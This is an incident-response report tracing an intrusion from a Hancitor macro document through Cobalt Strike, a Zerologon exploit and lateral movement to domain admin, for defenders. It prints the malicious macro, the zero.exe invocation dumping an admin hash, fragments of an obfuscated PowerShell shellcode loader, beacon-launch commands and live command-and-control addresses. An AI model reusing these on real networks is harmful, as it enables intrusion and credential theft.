From Zero to Domain Admin

(a) thedfirreport.com/2021/11/01/from-zero-to-domain-admin/

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Intro

This report will go through an intrusion from July that began with an email, which included a link to Google's Feed Proxy service that was used to download a malicious Word document. Upon the user enabling macros, a Hancitor dll was executed, which called the usual suspect, Cobalt Strike.

Various different enumeration and lateral movement tactics were observed on the network, along with the exploitation of Zerologon to elevate to domain administrator and gain full control over the domain. The threat actor was able to go from zero access to domain admin, in just under one hour.

Case Summary

Like with many infections today, the threat actors gained initial access on a system through a malicious document email campaign, which made use of the Hancitor downloader. The document, upon opening and enabling of macros, would write and then execute a dll file from the users appdata folder.

The Hancitor dll downloaded and executed multiple payloads including a Cobalt Strike stager and Ficker Stealer. The threat actors then began port scanning for SMB and a few backup systems such as Synology, Veeam and Backup Exec.

After that, a battery of Windows utilities were run to check the windows domain trusts, domain administrators, domain controllers, and test connectivity. They then checked access to remote systems by connecting to the C\$ share.

The threat actors proceeded to move laterally to multiple other servers on the network by making use of existing local administrative rights of a compromised user. Cobalt Strike beacons were deployed to each server to facilitate remote access. Furthermore, the threat actors dropped an obfuscated PowerShell script on one of the machines to further their access. The PowerShell script loaded the malicious code into memory and started beaconing out to the remote command and control server.

Next, the threat actors used a custom implementation of the Zerologon (CVE-2020-1472) exploit (zero.exe) against one of the domain controllers. The domain controllers were vulnerable, and as a result, the operators managed to dump the domain administrator's NTLM hash. The threat actors then pivoted to the two domain controllers and deployed Cobalt Strike beacons.

The threat actors continued pivoting to key systems including additional domain controllers, backup servers, and file shares, using Cobalt Strike. Once on these systems, additional scanning occurred using a binary called check.exe that ran ICMP sweeps across the network.

Within two hours of the initial malicious document execution, the threat actors had a foothold on all key systems in the environment. Similar to a <u>previous case</u>, the threat actors were evicted before completing their mission and as a result their final actions could not be observed.

Services

We offer multiple services including a <u>Threat Feed service</u> which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, BazarLoader, etc. More information on this service and others can be found <u>here</u>.

The Cobalt Strike servers in this case were added to the Threat Feed on 5/16 and 7/15 .

We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our <u>Security</u> <u>Researcher and Organization</u> services.

Timeline



Analysis and reporting completed by @iiamaleks & @samaritan_o

Reviewed by @pigerlin & @kostastsale

Initial Access

Initial access was gained through a malicious document email campaign that aimed to trick the user into enabling Macros.



The document was delivered via an email that included a link to Google's Feed Proxy service which was hosting a malicious document as shared by <u>@James_inthe_box</u>. Thanks for sharing James!

Incoming <u>#hancitor</u> run, DosuSign subject, <u>@google</u> feedproxy links, <u>https://t.co/5chAcaDocM</u> sender<u>https://t.co/Cw70zbKWxg[</u>.]com/~r/oknik/~3/F4HyZtdB_4k/ponce.php

- James (@James_inthe_box) July 14, 2021

Reviewing the document we can see the expected malicious macro and identify the location of a dll to be dropped in the:

Options.DefaultFilePath

olevba 0.56 on Python 3.9.7 - http://decalage.info/python/oletools

FILE: 0714_5835152731.doc Type: OLE

VBA MACRO ThisDocument.cls in file: 0714_5835152731.doc - OLE stream: 'Macros/VBA/ThisDocument' _ _ _ _ _ _ _ Option Explicit Option Compare Text Private Declare PtrSafe Function gc Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _ ByVal lpParameters As String, ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Dim hdv As String Dim bbbb As String Dim med As String Private Sub Document_Open() Dim vcbc As String Dim cx, dfgdgdg dfgdgdg = "n" cx = wdUserTemplatesPath bbbb = "r"vcbc = Options.DefaultFilePath(cx) bbbb = bbbb & "u" & dfgdgdg If Dir(vcbc & "\ier" & ".dll") = "" Then ll yyy If Len(hdv) > 2 Then Call nam(hdv)

We can see that this relates to the path:

%APPDATA%\Microsoft\templates\

And once the dll "ier" is written there, the macro proceeds to execute it.



Execution

Three files were downloaded by Hancitor from 4a5ikol[.]ru (8.211.241.0) including two Cobalt Strike stagers and Ficker Stealer.



Hancitor then launched multiple instances of svchost.exe and process injected them with Cobalt Strike.



The following diagram shows the initial execution process from the WINWORD.exe to the Cobalt Strike Beacons that were injected into memory by Hancitor.



Lastly, a Cobalt Strike command and control server was pinged before they copied the Cobalt Strike DLL and batch file, which were used to facilitate lateral movement.

hody Event EventData Data Parentimage	hody Event EventData Data ParentCommandLine	hody Event EventData Data Commandi ine
boujieronneronneuteneuten eronningo		bulle for the data bulle of an and the
C:\Windows\SysWOW64\cmd.exe	C:\Windows\system32\cmd.exe /C ping 190.114.254.116	ping 190.114.254.116
C:\Windows\SysWOW64\rundll32.exe	C:\Windows\syswow64\rundll32.exe	C:\Windows\system32\cmd.exe /C copy cor.bat \\ \C\$\programdata
C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c c:\programdata\cor.bat	rundll32.exe c:\programdata\cor.dll,TstSec 11985756

The batch file (cor.bat) is a 3-line script that will execute the Cobalt Strike DLL using rundll32.exe with a specific parameter.



The Cobalt Strike DLL used in this case resembles the same Cobalt Strike DLL seen in <u>case</u> <u>4301</u> based on the YARA rule associated to that case, indicating likely links between the actors in the two cases.

```
yara -s ~/report-yara/includes/case-4301.yar cor.dll
sig_95_dll_cobalt_strike cor.dll
0x8a28:$s1: TstDll.dll
0x4d:$s2: !This is a Windows NT windowed dynamic link library
0x8a48:$s3: AserSec
0x1a7:$s4: `.idata
0x1725:$s5: vEYd!W
0x3a93:$s6: [KpjrRdX&b
0x8572:$s7: XXXXXHHHHHHHHHHHHHHHHHHHHH
0x2736:$s8: %$N8 2
0x7579:$s9: %{~=vP
0x822c:$s10: it~?KVT
0x1ea9:$s11: UwaG+A
0x2b7d:$s12: mj_.%/2
0x80a0:$s13: BnP#lyp
0x2c82:$s14: (N"-%IB
0x7cde:$s15: KkL{xK
0x5068:$s16: )[IyU,
0x3d2e:$s17: |+uo6\
0x705b:$s18: @s?.N^
0x6e97:$s19: R%jdzV
0x5d9d:$s20: R!-q$Fl
```

Privilege Escalation

The threat actor made use of a custom developed implementation of Zerologon (CVE-2020-1472) executed from a file named "zero.exe".

 1
 C:\Windows\SysWOW64\cmd.exe
 C:\Windows\SysWOW64\rundll32.exe
 C:\Windows\SysUm64\rundll32.exe
 C:\Windows\SysUm64\rundll32.exe
 administrator -c *powershell.ex

 Zero.exe
 10.10.10.10
 DomainControllerHostName
 domain.name
 administrator -c

"powershell.exe"

Once "zero.exe" is run it will provide the threat actor with the NTLM hash of the specified username, a Domain Administrator account in this case.

```
C:\>zero.exe 10.0.0.2 DC1 test.local administrator -c "powershell.exe"
Using:
IP - 10.0.0.2
DC - DC1
DOMAIN - test.local
ADMIN_USERNAME - administrator
COMMAND - %COMSPEC% /C "powershell.exe"
_____
authenticated
server passwd set successfully
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type
               : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 7/30/2020 2:17:29 PM
Object Security ID : S-1-5-21-1810513327-145724812-3452571766-500
Object Relative ID : 500
Credentials:
 Hash NTLM: 29191fb3dad66ffeca2682edc860d788
EXECUTED SUCCESSFULLY
C:\>
```

On the Domain Controller a service (Event ID 7045) will be created that will run the Reset-ComputerMachinePassword PowerShell Cmdlet.

vent 7045, Service Co	ntrol Manager		
General Details			
A service was insta	lled in the system		
A Service was insta	med in the system.		
Service Name: AF.	JJDFOHDLKEGFGHIPKJ	mnuterMachineD:	assword
Service Type: user	mode service	inputenviachinePa	assword
Service Start Type:	demand start		
Service Account: 1	localsystem		
Log Name:	System		
Source:	Service Control Manager	Logged:	
Event ID:	7045	Task Category:	None
Level:	Information	Keywords:	Classic
User:		Computer:	
OpCode:	Info		
More Information:	Event Log Online Help		

The service will then be executed and the machine account password will be reset.

body.Event.System.EventID.#text	body.Event.EventData.Data.ParentProcessName	body.Event.EventData.Data.CommandLine
4688	C:\Windows\System32\services.exe	powershell.exe -c Reset-ComputerMachinePassword

Zerologon will create an Event ID 4624 for the domain controller computer account attempting to authenticate. The main red flag is the source network address IP differing from the IP of the domain controller, which in this case is set to the beachhead workstation on which zero.exe was executed.

Event 4624, Microsoft Windows security auditing.

General	Details				
New Lo	aon:				
	Security II	D:	S-1-5-		
	Account I	Name:	Domain Cor	ntroller Hostnar	ne
	Account I	Domain:			
	Logon ID:		0xA708F27		
	Linked Lo	gon ID: Account Name:	0x0		
	Network /	Account Name: Account Domain:	-		
	Logon GU	IID:	{00000000-0	000-0000-0000-0	000000000000000000000000000000000000000
					·····,
Process	Informatio	n:			
	Process IE):	0x0		
	Process N	ame:	-		
Networ	k Informati	00.			
- Activity of	Workstati	on Name:	Beachhead	Workstation Host	name
	Source Ne	etwork Address:	Beachhea	d Workstation I	P
	Source Po	ort:	50219		
Log Nan	ne:	Security			
Source:		Microsoft Windo	ows security	Logged:	
Event ID:	:	4624		Task Category:	Logon
Level:		Information		Keywords:	Audit Success
User:		N/A		Computer:	
OpCode	:	Info			
More Inf	ormation:	Event Log Onlin	e Help		

Lastly, Event ID 4648 will be logged on the beachhead machine indicating the zero.exe process was used to connect to a domain controller.

ent 4648, Microsoft	Windows securit	y auditing.		
General Details				
A logon was attem	npted using expli	cit credentials	5.	
Subjects				
Security I	D:	S-1-5-		
Account	Name:			
Account	Domain:			
Logon ID	:	0xF794D5E		
Logon Gl	JID:	{0ea860cc-f	497-ce55-b7a3-0	53c00533c07}
Account Whose C	redentials Were l	Jsed:		
Account	Name:	Domain Cont	roller Computer A	ccount Name
Account	Domain:			
Logon Gl	JID:	{00000000-0	0000-0000-0000-0	000000000000000000000000000000000000000
Target Server:				
Target Se	rver Name:	Demain Co.		
Addition	al Information:	Domain Co	ntroller FQDIV	
Process Information				
Process	D:	0x6398		
Process N	lame:	C:\Program	Data\zero.exe	
Network Informati	ion			
Network	Address: Domain	Controller IP		
Port:		49667		
This event is gener	ated when a pro	cess attempts	to log on an acc	count by explicitly specifying that a
Log Name:	Security			
Source:	Microsoft Wind	lows security	Logged:	
Event ID:	4648		Task Category:	Logon
Level:	Information		Keywords:	Audit Success
User:	N/A		Computer:	
OpCode:	Info			
March Construction	Event Lon Onli	na Hala		

A blog post by Blackberry can be referenced to learn more about this custom developed Zerologon file used: <u>https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware</u>.

For more information on detecting Zerologon check out Kroll's <u>Zerologon Exploit Detect</u> <u>Cheat Sheet</u>.

Defense Evasion

Upon Hancitor launching on the system, it process injected into multiple instances of svchost.exe and rundll32.exe. Memory segments can be seen allocated with Execute, Read, and Write permissions, indicating that executable code is stored.

Process: svchost.e	xe Pid: 11476 Add	iress: 0x4bc0000
Vad Tag: VadS Prot	ection: PAGE_EXEC	CUTE_READWRITE
Flags: PrivateMemo	ry: 1, Protection	1: 6
0x0000000004bc0000	4d 5a 52 45 e8	00 00 00 00 5b 89 df 55 89 e5 81 MZRE[U
0x0000000004bc0010	c3 49 7c 00 00	ff d3 68 f0 b5 a2 56 68 04 00 00 .I hVh
0x0000000004bc0020	00 57 ff d0 00	00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000000004bc0030	00 00 00 00 00	00 00 00 00 00 00 f 0 00 00 00
0x0000000004bc0000	4d	DEC EBP
0x0000000004bc0001	5a	POP EDX
0x0000000004bc0002	52	PUSH EDX
0x0000000004bc0003	45	INC EBP
0x0000000004bc0004	e800000000	CALL 0x4bc0009
0x0000000004bc0009	5b	POP EBX
0x0000000004bc000a	89df	MOV EDI, EBX
0x0000000004bc000c	55	PUSH EBP
0x0000000004bc000d	89e5	MOV EBP, ESP
0x0000000004bc000f	81c3497c0000	ADD EBX, 0x7c49
0x0000000004bc0015	ffd3	CALL EBX
0x0000000004bc0017	68 f 0b5a256	PUSH DWORD 0x56a2b5f0
0x0000000004bc001c	680400000	PUSH DWORD 0x4
0x0000000004bc0021	57	PUSH EDI

Anomalous parent and child process relationships can be seen on the system that Hancitor was executed on, including rundll32.exe spawning svchost.exe and svchost.exe spawning cmd.exe.

. 0xffffc402dd747080:rundll32.exe	9768	10624
0xffffc402e87dc0c0:svchost.exe	11476	9768
<pre> 0xffffc402d7f0f080:rundll32.exe</pre>	20784	11476
<pre> 0xffffc402d9e07080:rundll32.exe</pre>	20752	11476
0xffffc402dc09c340:svchost.exe	2636	9768
<pre> 0xffffc402dc205080:cmd.exe</pre>	8552	2636
0xffffc402da5d7080:conhost.exe	9736	8552
0xffffc402daeb7080:nslookup.exe	3744	8552
<pre> 0xffffc402dbf4f080:rundll32.exe</pre>	30328	2636

Moreover, the Cobalt Strike DLL stager was executed with a specific command line parameter which is used as a sandbox evasion feature. In this case it is the number 11985756.

rundll32.exe c:\windows\temp\cor.dll,TstSec 11985756



Lastly, a PowerShell loader named agent1.ps1 used heavy obfuscation to conceal the execution flow and hide the final shellcode. After many iterations, the script would deobfuscate and run-in memory. The shellcode is responsible for loading a PE file into memory and calling out to 64.235.39[.]32 for further instructions.

35	
36	Function NpvTinfSuWPvQzdLF1AQm() {
37	return 'LwXHrEucSmD9XDo0mXioNP6+B2EVMDwG52cSydeHFFrEkfq/0a82FmP18Z5sx87WIoo9Jh0JHumSa15nHZkwoR7sWQ0pDSen1rFWd5H31eWhuHD9pp0jz/CY03M5i7opISFw+Zoxd9nzbAGfagv4L6t8mxTYB3rW1A1AXWPaA
38	
39	
40	\$EKMOeBqEAm0xCpnpwRdGN = NpvTinfSuWPvQzdLF1AQm
41	
42	\$wLHiDWZiDeApQYLEVCjxX = (([regex]::Matches('qisBjSUmAFJ0IqAT3R+byDBdA3K6vHNI//aNbyh+ZYFOREbwR+QF16Q30U1MZ04EkPJppVBn3syXugkbjkneQvmMAIAnreX2We510WxYt5ykA3Z9w9FN3hFaSuBjn2u6kwOD
43	
44	\$AkRDExzrYWATCDNyEK1sI = 'QQDG5MRN4MEsR12Vyh1Y9Hos1JEDRDDgtG0tqPqL8rLhF2h8kY8JIBMaTbJqj77K10cpR/nFnrqovMwJNCYTQp9UMQLJfzelWwg2yzgbpi+16hyROeqvU4dE6ogbaE13wzI+fGA31vBqtaxaazRvqYax
45	
46	\$vpFhaWLTcsrOHCQLzsEzN = 'mbFPGDtpJicxXcdFG/Ydmz4dHGi511A0tRmH2WwVJpYbsfxCiAFFy0kckQnw6EeyeH40K0H6hmZ/H4KpB3tbTVXrd6LvKnUmzVJ8eggS+MBrz2uTY1+GdoPY29s6r2AkpZzHg4KSyoSjUrrFrWNUHH
47	
48	\$kwttBUHEcssZoIGiJwoKB = 'THzWAjCOVFW/3Re50vfB2JjbzFdmgiC/OSiagvpcOKc/tV2fZiknjL3PAtZ/I+pRWcoyfqd0i72JCN/UGJRJCIUonBMx+C9Nm3TkyNfOmLpa7R5ZoFi2xfhQX6jzPwVz6hme/7xy4GsGVnU9Ap4Gqzq
49	
50	<pre>\$yyCbzkHGEuOWgmfzdXlyU = 'MFtTNCdHVoYWlN95UFKdHI3s22dx5FWR+VMbOJnE'.Substring(4, 32)</pre>
51	
52	[Byte[]]\$oBUEFlUjsZVWaEBHHsKWa = [System.Convert]::FromBase64String((-join(\$gDAgdPFzzxgYnLNNHSSMR,'zzkKItFCIsIUejI/P//g8QMi1UIiUIQaL+tA+NoHdVN1YtFCIsIUeiq/P//g8QMi1UIIUIUAKyD8Jp
53	
54	[IntPtr]\$CjHxQlvEzGUrZUarFZbrz = [OkwgNsSnFFEmvLpdsdISG]::VirtualAlloc((-6299 + 6299),\$oBUEFlUjsZVVaEBHhsKWa.Length,(3498 + 598),(1548 - 1484))

Credential Access

The only credential access observed was through Zerologon, which was used to retrieve the domain administrator's NTLM hash.

Discovery

Discovery started with a port scan initiated by the Hancitor dll.

Initiating Process Parent File Name	Initiating Process File Name	Action Type	Remote IP	Remote Port
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445
svchost.exe	rundll32.exe	ProcessCommunicatedOverSmb		445

After SMB was scanned we saw scans of 5000/tcp, 9392/tcp, 6106/tcp. The threat actors were scanning for backup products such as Synology, Backup Exec and Veeam.

rundl132.exe	svchost.exe	OutboundConnectionToSmbPro tocol	445
rund1132.exe	svchost.exe	OutboundConnectionToSmbPro tocol	445
rundl132.exe	svchost.exe	OutboundConnectionFromLolb inToUncommonlyUsedPort	5,000
rund1132.exe	svchost.exe	OutboundConnectionToUncomm onlyUsedPort	5,000
rundl132.exe	svchost.exe	OutboundConnectionFromLolb inToUncommonlyUsedPort	6,106
rundl132.exe	svchost.exe	OutboundConnectionToUncomm onlyUsedPort	6,106
rund1132.exe	svchost.exe	OutboundConnectionFromLolb inToUncommonlyUsedPort	9,392
rund1132.exe	svchost.exe	OutboundConnectionToUncomm onlyUsedPort	9,392
rund1132.exe	svchost.exe Q (Q OutboundConnectionFromLolb inToUncommonlyUsedPort	5,000
rundll32.exe	svchost.exe	OutboundConnectionToUncomm onlvUsedPort	5,000

This was followed by a battery of discovery command using the built in Microsoft utilities to discover domain controllers, administrators, connectivity checks and other items.

body.Event.EventData.Data.ParentCommandLine	body.Event.EventData.Data.CommandLine
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C net time
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C ping
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C nltest /dclist:
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C Net group "Domain Admins" /domain
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C nslookup
C:\Windows\System32\svchost.exe	C:\Windows\system32\cmd.exe /C ping 190.114.254.116
C:\Windows\syswow64\rundll32.exe	C:\Windows\system32\cmd.exe /C net group /domain

```
C:\Windows\system32\cmd.exe /C net time
C:\Windows\system32\cmd.exe /C ping [Domain Controller]
C:\Windows\system32\cmd.exe /C nltest /dclist:[Domain Name]
C:\Windows\system32\cmd.exe /C Net group "Domain Admins" /domain \
C:\Windows\system32\cmd.exe /C nslookup
C:\Windows\system32\cmd.exe /C ping 190.114.254.116
C:\Windows\system32\cmd.exe /C net group /domain
```

Notice above, the threat actors pinged 190.114.254[.]116 which is one of the Cobalt Strike servers they later used.

The threat actors enumerated local administrative access on remote systems by checking access to the C\$ share for hosts discovered after the port scan.

Initiating Process Parent File Name	Initiating Process File Name	Initiating Process Command Line	
svchost.exe	cmd.exe	cmd.exe /C dir \\10 \\	.c\$
svchost.exe	cmd.exe	cmd.exe /C dir \\10 \d	.c\$
svchost.exe	cmd.exe	cmd.exe /C dir \\10 \\	.c\$
svchost.exe	cmd.exe	cmd.exe /C dir \\10 \o	.c\$

We observed a PowerShell script named comp2.ps1 that was executed on every Domain Controller in the environment. This script used the Active Directory RSAT module to get a list of computers and place them in a file named 'comps.txt.'



```
2 Get-ADComputer -filter {enabled -eq "true"} | select -ExpandProperty name | sc C:\windows\temp\comps.txt
```

A program named check.exe was observed using the comps.txt text file. This program will take a list of IP addresses and hostnames from comps.txt and check if they are online using ICMP. The online hosts will then be directed to the check.txt text file.

body.Event.EventData.Data.ParentProcessName C:\Windows\SysWOW64\cmd.exe

body.Event.EventData.Data.CommandLine

check.exe comps.txt check.txt -ip

The check.exe file contains three parameters that can be used one at a time:

check.exe comps.txt check.txt -ip (Check which hosts in comps.txt are alive, and write the IP to check.txt) check.exe comps.txt check.txt -name (Check which hosts in comps.txt are alive, and write the hostname to check.txt) check.exe comps.txt check.txt -full (Check which hosts in comps.txt are alive, and write the IP and hostname to check.txt)

Lateral Movement

The threat actors pivoted towards multiple hosts on the domain from the beachhead. The main actions involved copying a Cobalt Strike DLL beacon and a batch script to run the DLL (cor.dll, cor.bat, GAS.dll, GAS.bat). Operators executed the batch script through a remotely created service on the target system.

body.Event.System.Computer	body.Event.EventData.Data.Parentimage	body.Event.EventData.Data.CommandLine		body.Event.EventData.Data.TargetObject	body.Event.EventData.Data.Details
Beachhead System	C:\Windows\SysWOW64\rundll32.exe	C:\Windows\system32\cmd.exe /C copy cor.bat \\ amdata	\$\progr		-
Target System				HKLM\System\CurrentControlSet\Services\c7e515b\Start	DWORD (0x0000003)
Target System				HKLM\System\CurrentControlSet\Services\c7e515b\Image Path	c:\programdata\cor.bat
Target System	C:\Windows\System32\services.exe	C:\Windows\system32\cmd.exe /c c:\programdata\cor.bat			-
Target System	C:\Windows\System32\cmd.exe	rundll32.exe c:\programdata\cor.dll,TstSec 11985756			-
Target System				HKLM\System\CurrentControlSet\Services\c7e515b\Start	DWORD (0x0000004)

The following shows one of the batch scripts used to run a Cobalt Strike payload.



An obfuscated PowerShell script named 'agent1.ps1' was dropped on a machine through a Cobalt Strike Beacon. The PowerShell script had instructions to deobfuscate shellcode and run it in memory as a thread in the same PowerShell process.



The shellcode itself also has a PE file embedded inside of itself. Once the shellcode is running this PE file will be loaded into memory and executed. You can see this from the memory dump MZ header denoting the PE binary loaded into the PowerShell process.

Process: powershell.exe Pid: 2716 Address: 0x400000																	
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE																	
Flags: PrivateMemor	Flags: PrivateMemory: 1, Protection: 6																
0x0000000000400000	4d	5a	90	00	03	00	00	00	04	00	00	00	ff	ff	00	00	MZ
0x0000000000400010	b8	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00	@
0x0000000000400020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
0x0000000000400030	00	00	00	00	00	00	00	00	00	00	00	00	c8	00	00	00	
0x0000000000400000	4d					DE	EC I	EBP									
0x0000000000400001	5a					PC	DP I	EDX									
0x0000000000400002	90					NC	NOP										
0x0000000000400003	0003					A	ADD [EBX], AL										
0x0000000000400005	0000					A	ADD [EAX], AL										
0x0000000000400007	000400					A	ADD [EAX+EAX], AL										
0x000000000040000a	0000					A	ADD [EAX], AL										
0x000000000040000c	ff					DE	3 02	xff									

The PE file is of a small size and has the capability to beacon out at regular intervals to a command-and-control server on 64.235.39[.]32 to retrieve instructions.

Src IP / Country	Src Port	Dst IP / Country	Dst Port	Packets	Databytes / Bytes	Useragent	Info
	65188	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65180	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65172	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65151	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65144	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65137	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65128	64.235.39.32	80	11	544 1,162	curl/7.55.1	URI - 64.235.39.32/
	65119	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65112	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65105	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65098	64.235.39.32	80	10	544 1,108	curl/7.55.1	URI - 64.235.39.32/
	65089	64.235.39.32	80	10	544 1.108	curl/7.55.1	URI - 64.235.39.32/

The Visual C# Command Line Compiler was observed being invoked by the PowerShell script where the shellcode was executed. This is most likely instructions that the previously discussed PE file retrieved from the remote command and control server.



Command and Control

Hancitor contacted its servers over HTTP and advertised details about the compromised machine, user, and domain while also retrieving instructions from the command and control server (1). From another dedicated location, 4a5ikol[.]ru, two Cobalt Strike beacons and Ficker Stealer malware were downloaded through HTTP (2).

Source	Destination	Protocol	Leng	gth	Info
	194.147.78.155	HTTP	4	461	POST /8/forum.php HTTP/1.1 (application/x-www-form-urlencoded)
194.147.78.155		HTTP	1	382	HTTP/1.1 200 OK (text/html)
	8.211.241.0	HTTP	[223	GET /1407.bin HTTP/1.1
8.211.241.0		HTTP		1179	HTTP/1.1 200 OK
	8.211.241.0	HTTP		224	GET /1407s.bin HTTP/1.1
8.211.241.0		HTTP	2	1212	HTTP/1.1 200 OK
	8.211.241.0	HTTP	-	230	GET /7jkio8943wk.exe HTTP/1.1
8.211.241.0		HTTP		195	HTTP/1.1 200 OK

A successful connection from Ficker Stealer was not observed. A domain was queried; however, the response returned an error.

Source	Destination	Protocol	Length	Info
	1.1.1.1	DNS	82	Standard query 0x66be A mancause.ru OPT
1.1.1.1		DNS	88	Standard query response 0x66be Server failure A mancause.ru OPT

Cobalt Strike was also observed to be making use of HTTP.



Lastly, the shellcode executed by the agent1.ps1 PowerShell loader, was observed loading a PE file into memory that would beacon out at consistent intervals to 64.235.39[.]32. Further encrypted network activity was also observed to this IP address. Unfortunately, the tool sending these connections could not be definitively determined.

The user agent for this was curl/7.55.1

```
POST / HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/7.55.1
Host: 64.235.39.32
Content-Length: 296
Connection: Keep-Alive
Cache-Control: no-cache
.....&....;.
t%.W.C7..G..)h..9...B...c.^...J.fZ..(......
.95^
```

```
....=d!...~...d.C..N.m.o....c.#....8..L.".yl.,'.7.....
```

Hancitor

http://wortlybeentax[.]com/8/forum.php

4a5ikol[.]ru

Cobalt Strike 190.114.254.116:80 – This Cobalt Strike server was added to our <u>Threat</u> <u>Feed</u> on 2021-05-16 and is still alive as of 2021-10-31

```
{
  "x64": {
    "md5": "e83bf9665d05d873f6d7cf9bd86e2302",
    "time": 1621200623970,
    "sha256": "a2607cea755fd71a666c4f20ccf07a84bb8a077afad22e5f1d9123682fae1b20",
    "config": {
      "Method 2": "POST",
      "Method 1": "GET",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "HTTP Method Path 2": "/submit.php",
      "C2 Server": "190.114.254.116,/push",
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "Port": 80,
      "Jitter": 0
    },
    "sha1": "c953d489eebca96dba59052760001661fb08b85c"
  },
  "x86": {
    "md5": "f9277e30bda73a0ed6c58b8e538fa3da",
    "time": 1621200609482.8,
    "sha256": "3435b4131ee89599f5b39eca75f137c73d967299633df6e1bd2c5d6073605d4a",
    "config": {
      "Method 2": "POST",
      "Method 1": "GET",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "HTTP Method Path 2": "/submit.php",
      "C2 Server": "190.114.254.116,/cm",
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "Port": 80,
      "Jitter": 0
    },
    "sha1": "66b71b0a1709c38a360bc720b7a36ba0885c2a5e"
 }
}
{
  "x64": {
    "md5": "f3035c2421239be8711178b6058fa75a",
    "time": 1621200635468.3,
    "sha256": "04e91a73952cd26cdc754a2009c9a34cd289721f6957e0a0be33727dca64c531",
    "config": {
      "Method 2": "POST",
      "Method 1": "GET",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "HTTP Method Path 2": "/submit.php",
      "C2 Server": "190.114.254.116,/__utm.gif",
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "Port": 443,
      "Jitter": 0
    },
```

```
"sha1": "feb36888151759fbf21033fc59dd66ed9e05ee70"
  },
  "x86": {
    "md5": "c3c84f0af2f039103085dc346d4ec192",
    "time": 1621200611730.5,
    "sha256": "c160e149b9f5ee7917885c3becaf913ba5f2679740cbb9b33eac16bb08f3cdfe",
    "config": {
      "Method 2": "POST",
      "Method 1": "GET",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "HTTP Method Path 2": "/submit.php",
      "C2 Server": "190.114.254.116,/pixel",
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "Port": 443,
      "Jitter": 0
    },
    "sha1": "33975cf2e2682a4126959e15802b8c1c78333f00"
  }
}
```

207.148.23.64:443 – This Cobalt Strike server was added to our <u>Threat Feed</u> on 2021-07-15. This IP stopped hosting Cobalt Strike on or around 2021-08-22.

```
JA3: 72a589da586844d7f0818ce684948eea
JA3s: ae4edc6faf64d08308082ad26be60767
Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c ]
Not Before: 2015/05/20 18:26:24 UTC
Not After: 2025/05/17 18:26:24 UTC
Issuer Org:
Subject Common:
Subject Org:
Public Algorithm: rsaEncryption
```

```
{
  "x86": {
    "sha256": "1d56e857650b9cae0a28d39ab1808c32e703ce38809ae2bf3c2c3d8f933f9cb9",
    "config": {
      "Method 1": "GET",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "C2 Server": "207.148.23.64,/ptj",
      "Method 2": "POST",
      "Jitter": 0,
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "HTTP Method Path 2": "/submit.php",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "Port": 80
    },
    "md5": "2ce9fd855d3fd4316c7d46d28d183c16",
    "time": 1626347218460.2,
    "sha1": "12cdc6cd8af542f252c51d3e010b00f529b00f08"
  },
  "x64": {
